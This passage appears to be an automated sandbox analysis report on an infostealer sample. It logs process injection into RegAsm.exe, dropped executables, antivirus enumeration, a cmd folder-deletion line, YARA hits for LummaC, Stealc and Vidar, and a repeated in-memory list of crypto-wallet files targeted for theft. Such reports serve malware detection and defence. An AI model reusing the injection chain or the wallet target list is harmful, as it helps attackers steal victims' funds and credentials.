Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9A2008	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000
Source: C:\ProgramData\IIJKJDAFHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 115C008
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000
Source: C:\Users\userBAAAAKJKJE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C6B008
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44B000
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44E000
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000
Source: C:\Users\userAFIDGDBGCA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D3F008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\GDBFCGIIIJ.exe "C:\ProgramData\GDBFCGIIIJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KJEGDBKFIJ.exe "C:\ProgramData\KJEGDBKFIJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\IIJKJDAFHJ.exe "C:\ProgramData\IIJKJDAFHJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBGIJEHIIDGC" & exit	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAAAAKJKJE.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAFIDGDBGCA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBAAAAKJKJE.exe "C:\Users\userBAAAAKJKJE.exe"
Source: C:\Users\userBAAAAKJKJE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAFIDGDBGCA.exe "C:\Users\userAFIDGDBGCA.exe"
Source: C:\Users\userAFIDGDBGCA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040111D cpuid

2_2_0040111D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	2_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_0042B0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	2_2_0042B1C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	2_2_00429A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	2_2_0042B268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	2_2_0042B2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	2_2_0042AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	2_2_004253E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	2_2_0042B494
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	2_2_0042749C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	2_2_0042B556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	2_2_00429D6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	2_2_0042E56F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00427576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_00428DC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	2_2_0042B5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	2_2_0042B580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	2_2_0042B623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	2_2_0042E6A4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Queries volume information: C:\ProgramData\GDBFCGIIIJ.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Queries volume information: C:\ProgramData\KJEGDBKFIJ.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Queries volume information: C:\ProgramData\IIJKJDAFHJ.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\userBAAAAKJKJE.exe	Queries volume information: C:\Users\userBAAAAKJKJE.exe VolumeInformation
Source: C:\Users\userAFIDGDBGCA.exe	Queries volume information: C:\Users\userAFIDGDBGCA.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041C0E9 lstrcpyA,GetLocalTime,SystemTimeToFileTime,

2_2_0041C0E9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: IIJKJDAFHJ.exe, 0000000D.00000002.2314833260.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HJ.exe
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.000000000111A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.IIJKJDAFHJ.exe.3f55570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.IIJKJDAFHJ.exe.3f55570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2320759817.0000000003F55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.37e5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.37e5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1700, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron 